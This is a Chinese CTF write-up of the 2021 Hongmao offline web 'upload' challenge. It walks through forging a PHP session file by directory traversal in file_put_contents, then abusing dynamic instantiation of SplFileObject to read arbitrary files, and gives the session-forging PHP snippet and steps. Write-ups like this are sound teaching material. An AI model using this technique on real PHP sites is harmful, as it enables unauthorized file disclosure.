2021红帽杯线下赛WEB upload题解
2021-7-30
| 2023-4-13
0  |  0 分钟
type
Post
status
Published
date
Jul 30, 2021
slug
2021/2021hmb-offline
summary
假装自己参加了线下赛
tags
CTF比赛
category
比赛Writeup
icon
password
虽然没参加,不过有个师傅跑过来讨论了,就顺便搞搞,第一题是opensns的nday,这里主要分析下第二题upload。还挺有意思,原来一开始想着用像 [CVE-2021-3129](https://tari.moe/2021/06/03/laravel8-debug-rce/ 的方式写入可控的 session文件,结果 h 被过滤了。。

upload

源码
 

源码分析

关键文件有两个:index.php 和 info.php
info.php 主要是告诉我们,session存在 /tmp 目录下
notion image
index.php 内容较多,不过分析了一波,首先映入眼帘的是 file_put_contents 方法,参数没有进行过滤,存在目录穿越。那我们可以通过目录穿越写 session 文件了。
PHP的session默认是以文件的形式进行存储,而且文件名是以 sess_ 开头的,后面的值为,为我们Cookie中 PHPSESSID=xxxxxxxxxxxxx 的 xxxxxxxxxxxxx。也就是我们以 PHPSESSID=xxxxxxxxxxxx 访问站点,PHP会在 /var/lib/tmp/php 之类的目录创新一个名为 sess_xxxxxxxxxxxxx 的文件,内容为序列化后的数据。
但题目过滤了字符 h
if(stristr($_POST['filename'], 'h')){ die('no h!'); }
正常来说,我们是没法目录穿越至存放 session 的路径的,毕竟有 /phph,但,题目中 session.save_path 在 /tmp 目录,而且写入的内容没有限制,也就是说我们可以任意伪造 session 了。
75行处看似可以调用函数
$pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]); ${$_SESSION['func']}($pathinfo);
仔细一分析… 这里 ${} 原来是一种简单语法,也就是先获取$_SESSION['func']的值,作为变量名,然后作为函数名去调用,当然可以构造 $_SESSION['func']_SESSION["paths"] 然后 $_SESSION["paths"]system 之类的,但 $pathinfo 是数组…. 暂时没发现啥方法是传入数组进行利用的。
所以另辟蹊径,发现56行 new 了一个对象
$temp = new $class($path);
下面有个直接输出
echo $out.'</p>';
echo 对象会触发对象的 __toString 魔术方法,如果能找到啥对象实例化后的 __toString魔术方法,会对 $path 进行一些利用(如输出这个参数文件内容,执行这个参数命令之类的)就好了。
刚好找到一个脚本 (
可以查看PHP原生类即内置类,查看拥有所需魔术方法的类如下
这里只获取 __toString,所以把其他注释了
<?php $classes = get_declared_classes(); //获取所有已定义类 foreach($classes as $class) { $methods = get_class_methods($class); //获取当前类所拥有的方法 foreach ($methods as $method) { if (in_array($method, array( // '__destruct', '__toString', // '__wakeup', // '__call', // '__callStatic', // '__get', // '__set', // '__isset', // '__unset', // '__invoke', // '__set_state' //调用var_export导出类时被调用 ))) { print "$class::$method";echo '<br>'; } } }
运行结果
Exception::__toString ErrorException::__toString Error::__toString ParseError::__toString TypeError::__toString ArgumentCountError::__toString ArithmeticError::__toString DivisionByZeroError::__toString ClosedGeneratorException::__toString DOMException::__toString LogicException::__toString BadFunctionCallException::__toString BadMethodCallException::__toString DomainException::__toString InvalidArgumentException::__toString LengthException::__toString OutOfRangeException::__toString RuntimeException::__toString OutOfBoundsException::__toString OverflowException::__toString RangeException::__toString UnderflowException::__toString UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString IntlException::__toString AssertionError::__toString PDOException::__toString PharException::__toString Phar::__toString PharData::__toString PharFileInfo::__toString ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionType::__toString ReflectionNamedType::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionClassConstant::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString mysqli_sql_exception::__toString SimpleXMLElement::__toString SimpleXMLIterator::__toString SoapFault::__toString SodiumException::__toString
看到一些反射之类的,当然发现了一个 SplFileObject 类,发现他的 __toString 方法是 SplFileObject::fgets 方法的别名,作用是一行行文件读取。 flag 文件一般是一行,刚好满足要求。

实际利用

创建一个 flag 文件,内容为
notion image
先构造 session
<?php ini_set('session.save_path', '/tmp'); session_start(); $_SESSION['paths'] = array(); $_SESSION['paths']["/tmp/flag"] = 'SplFileObject';
然后访问一下这个文件,记得看请求的 Cookie: PHPSESSID 的值,然后到本地找到文件,把生成的内容复制一下,粘贴到 content 字段。因为php session 都是sess开头的,所以通过目录穿越写入 sess_tari
notion image
写入session后
notion image
实例化时,实际是实例化了 SplFileObject("/tmp/flag")
notion image
notion image
然后就会输出任意我们想输出的文件内容了
notion image
搞定~

参考链接

[1] https://www.freebuf.com/articles/web/263710.html
[2] https://mp.weixin.qq.com/s/ucjyuXnWn4PkiD_40Eydkw
比赛Writeup
  • CTF比赛
  • 人工智能在网络安全领域的技术和应用2021强网杯 Web Writeup
    目录